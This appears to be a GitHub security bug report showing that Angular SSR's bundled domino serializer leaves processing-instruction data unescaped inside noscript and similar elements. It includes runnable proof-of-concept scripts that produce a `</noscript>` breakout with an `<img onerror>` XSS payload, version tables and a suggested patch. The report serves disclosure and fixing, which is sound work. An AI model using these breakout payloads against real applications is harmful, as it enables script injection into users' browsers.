Incomplete fix for #70050 / #70055: `</noscript>` breakout still reachable through processing instructions

## Which @angular/* package(s) are the source of the bug?

platform-server (via its bundled `domino` dependency)

## Is this a regression?

Yes — the remaining part of the regression reported in #70050.

`fc7e40a` added fallback raw-content ancestor escaping to the element, text and comment branches
of `serializeOne()`. The processing-instruction branch was not covered, and `e0779df` did not
touch it either.

Same payload, same DOM shape, across four commits:

```
f88e5aa~1  (before the original regression)   safe
  <noscript><?x &lt;/noscript ?><img src="x" onerror="alert(1)"></noscript>

f88e5aa    (fix for GHSA-vpx6-8pjr-4g3v)      BREAKOUT
fc7e40a    (fix for #70050)                   BREAKOUT
e0779df    (fix for #70055)                   BREAKOUT
  <noscript><?x </noscript ?><img src="x" onerror="alert(1)"></noscript>
```

And across released `@angular/platform-server`:

```
22.0.6    safe
22.0.7    BREAKOUT
21.2.19   BREAKOUT
22.1.1    BREAKOUT
```

## Description

Case 7 of `serializeOne()` never calls `fallbackRawContentTags()`:

```js
case 7: //PROCESSING_INSTRUCTION_NODE
  const content = escapeProcessingInstructionContent(kid.data);
  s += '<?' + kid.target + ' ' + content + '?>';
  break;
```

`createProcessingInstruction()` rejects only `?>` in data (`lib/Document.js:178`), so
`</noscript` passes validation. `escapeProcessingInstructionContent()` escapes `>` and nothing
else — `<` is left alone, deliberately, per the `['<<<', '<<<']` case added with it in `f2435fe`.

Escaping every `>` is sufficient in normal content, where `<?` opens a bogus comment that ends at
the first `>`. It is not sufficient under a fallback raw-content ancestor: in RAWTEXT the
tokenizer only looks for `</noscript`, a following space or `/` makes it an appropriate end tag,
`?` is consumed as an attribute name, and the `?>` the serializer appends supplies the closing
`>`. Sibling element children — which fallback elements serialize as real markup — are then
parsed as live HTML.

Confirmed at `e0779df` for all four fallback elements (`noscript`, `iframe`, `noembed`,
`noframes`) with data `</tag ` and `</tag/`, and at depth through `noscript > div > PI`,
`noscript > svg > foreignObject > PI` and `noscript > math > mtext > PI`. 11 shapes.

Data `</tag>` with a literal `>` is safe; that `>` is escaped. `noscript > xmp > PI` is safe; the
`<xmp>` element branch escapes over its whole subtree. All #70050 and #70055 shapes remain safe.

Not affected: tag names, attribute names, doctype names and PI targets reject these payloads at
creation with `InvalidCharacterError`, and the `localName`, `prefix` and `target` setters are
no-ops since `24d1e0d`.

#70055 said *"Not affected: … PI data is escaped by `escapeProcessingInstructionContent()`"*.
That escape covers only `>`, so it does not hold.

### Reachability

Narrower than #70050 and #70055 — no template or parser path exists. `<?x …>` parses to
`#comment` in both `innerHTML` and document position. The template parser lexes
`TokenType.PROCESSING_INSTRUCTION` (`ml_parser/lexer.ts:806`) but `_TreeBuilder.build()`
(`ml_parser/parser.ts:104`) has no branch for it and drops the token. `Renderer2` exposes
`createElement`, `createComment` and `createText` only.

Reaching it requires application or library code calling
`inject(DOCUMENT).createProcessingInstruction(target, data)` with attacker-influenced `data`
inside a fallback raw-content element. `importNode()`, `adoptNode()` and `cloneNode()` preserve
the payload.

## Please provide a link to a minimal reproduction of the bug

### 1. domino directly (no Angular required)

```bash
git clone https://github.com/angular/domino.git && cd domino
git checkout e0779df
```

Save as `repro.mjs`:

```js
import { createRequire } from 'module';
const domino = createRequire(import.meta.url)('./lib/index.js');

const doc = domino.createDocument('<!DOCTYPE html><html><body></body></html>');
const ns = doc.createElement('noscript');
ns.appendChild(doc.createProcessingInstruction('x', '</noscript '));
const img = doc.createElement('img');
img.setAttribute('src', 'x');
img.setAttribute('onerror', 'alert(1)');
ns.appendChild(img);
doc.body.appendChild(ns);

console.log(ns.outerHTML);
```

```bash
node repro.mjs
```

Actual output — the `</noscript>` is emitted unescaped:

```
<noscript><?x </noscript ?><img src="x" onerror="alert(1)"></noscript>
```

Loading that in a browser fires the payload: the `<noscript>` keeps only the text node `<?x `,
and the `<img onerror>` becomes a live sibling outside it.

### 2. Angular SSR

```bash
mkdir ng-pi-repro && cd ng-pi-repro
npm init -y
npm pkg set type=module
npm install @angular/core@22.1.1 @angular/common@22.1.1 @angular/compiler@22.1.1 \
            @angular/platform-browser@22.1.1 @angular/platform-server@22.1.1 \
            rxjs@7 zone.js tslib
```

Save as `repro.mjs`:

```js
import '@angular/compiler';
import 'zone.js';
import { Component, ElementRef, Renderer2, inject, DOCUMENT } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { provideServerRendering, renderApplication } from '@angular/platform-server';

const PAYLOAD = '</noscript><img src=x onerror=alert(1)>';

const AppComponent = Component({
  selector: 'app-root',
  standalone: true,
  template: `
<div id="control"><noscript>{{ p }}</noscript></div>
<div id="bypass"><noscript id="host"></noscript></div>`,
})(
  class {
    p = PAYLOAD;
    r = inject(Renderer2);
    el = inject(ElementRef);
    doc = inject(DOCUMENT);
    ngAfterViewInit() {
      const host = this.el.nativeElement.querySelector('noscript#host');
      this.r.appendChild(host, this.doc.createProcessingInstruction('x', '</noscript '));
      const img = this.r.createElement('img');
      this.r.setAttribute(img, 'src', 'x');
      this.r.setAttribute(img, 'onerror', 'alert(1)');
      this.r.appendChild(host, img);
    }
  }
);

const html = await renderApplication(
  (ctx) => bootstrapApplication(AppComponent, { providers: [provideServerRendering()] }, ctx),
  { document: '<!DOCTYPE html><html><head></head><body><app-root></app-root></body></html>' }
);

for (const id of ['control', 'bypass']) {
  const out = html.match(new RegExp(`<div id="${id}">([\\s\\S]*?)</div>`))[1];
  const inner = out.replace(/^<noscript[^>]*>/, '').replace(/<\/noscript>$/, '');
  console.log(`${/<\/noscript[\s/>]/i.test(inner) ? 'BREAKOUT' : 'SAFE    '}  ${id}`);
  console.log(`          ${out}`);
}
```

```bash
node repro.mjs
```

Actual output — the #70050 text-node shape is escaped, the PI shape is not:

```
SAFE      control
          <noscript>&lt;/noscript&gt;&lt;img src=x onerror=alert(1)&gt;</noscript>
BREAKOUT  bypass
          <noscript id="host"><?x </noscript ?><img src="x" onerror="alert(1)"></noscript>
```

### 3. Confirm the regression across released versions

```bash
mkdir vercheck && cd vercheck && npm init -y && npm pkg set type=module
npm install @angular/platform-server@22.1.1
```

Save as `t.mjs`:

```js
import { pathToFileURL } from 'node:url';
import path from 'node:path';
const p = path.resolve('node_modules/@angular/platform-server/third_party/domino/bundled-domino.mjs');
const d = (await import(pathToFileURL(p).href)).default;

const doc = d.createDocument('<!DOCTYPE html><html><body></body></html>');
const ns = doc.createElement('noscript');
ns.appendChild(doc.createProcessingInstruction('x', '</noscript '));
const img = doc.createElement('img');
img.setAttribute('src', 'x');
img.setAttribute('onerror', 'alert(1)');
ns.appendChild(img);
doc.body.appendChild(ns);

const out = ns.outerHTML;
console.log(out);
console.log('BREAKOUT:', /<\/noscript[\s/>]/i.test(out.replace(/^<noscript>/, '').replace(/<\/noscript>$/, '')));
```

```bash
node t.mjs
```

Actual output:

```
<noscript><?x </noscript ?><img src="x" onerror="alert(1)"></noscript>
BREAKOUT: true
```

## Suggested fix

Mirror the comment branch added in `fc7e40a`:

```js
case 7: //PROCESSING_INSTRUCTION_NODE
  let content = escapeProcessingInstructionContent(kid.data);
  if (content.includes('</')) {
    const fallbackTags = fallbackRawContentTags(parent);
    for (const fallbackTag of fallbackTags) {
      content = escapeMatchingClosingTag(content, fallbackTag);
    }
  }
  s += '<?' + kid.target + ' ' + content + '?>';
  break;
```

11 breaking shapes at `e0779df`, 0 after the patch, with the 12 control shapes from #70050 and
#70055 unchanged. Output becomes `<?x &lt;/noscript ?>`.

## Please provide the environment you discovered this bug in

```
@angular/platform-server  22.1.1 (also 22.0.7, 21.2.19)
@angular/core             22.1.1
domino                    e0779df
Node.js                   v26.7.0
OS                        macOS (Darwin 25.6.0)
Browsers                  Chrome, Chromium
```


Navigation Menu

Uh oh!

Incomplete fix for #70050 / #70055: `</noscript>` breakout still reachable through processing instructions #70146

Which @angular/* package(s) are the source of the bug?

Is this a regression?

Description

Reachability

Please provide a link to a minimal reproduction of the bug

1. domino directly (no Angular required)

2. Angular SSR

3. Confirm the regression across released versions

Suggested fix

Please provide the environment you discovered this bug in

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Uh oh!

Incomplete fix for #70050 / #70055: </noscript> breakout still reachable through processing instructions #70146

Description

Which @angular/* package(s) are the source of the bug?

Is this a regression?

Description

Reachability

Please provide a link to a minimal reproduction of the bug

1. domino directly (no Angular required)

2. Angular SSR

3. Confirm the regression across released versions

Suggested fix

Please provide the environment you discovered this bug in

Metadata

Metadata

Assignees

Labels

Type

Projects

Milestone

Relationships

Development

Issue actions

Incomplete fix for #70050 / #70055: `</noscript>` breakout still reachable through processing instructions #70146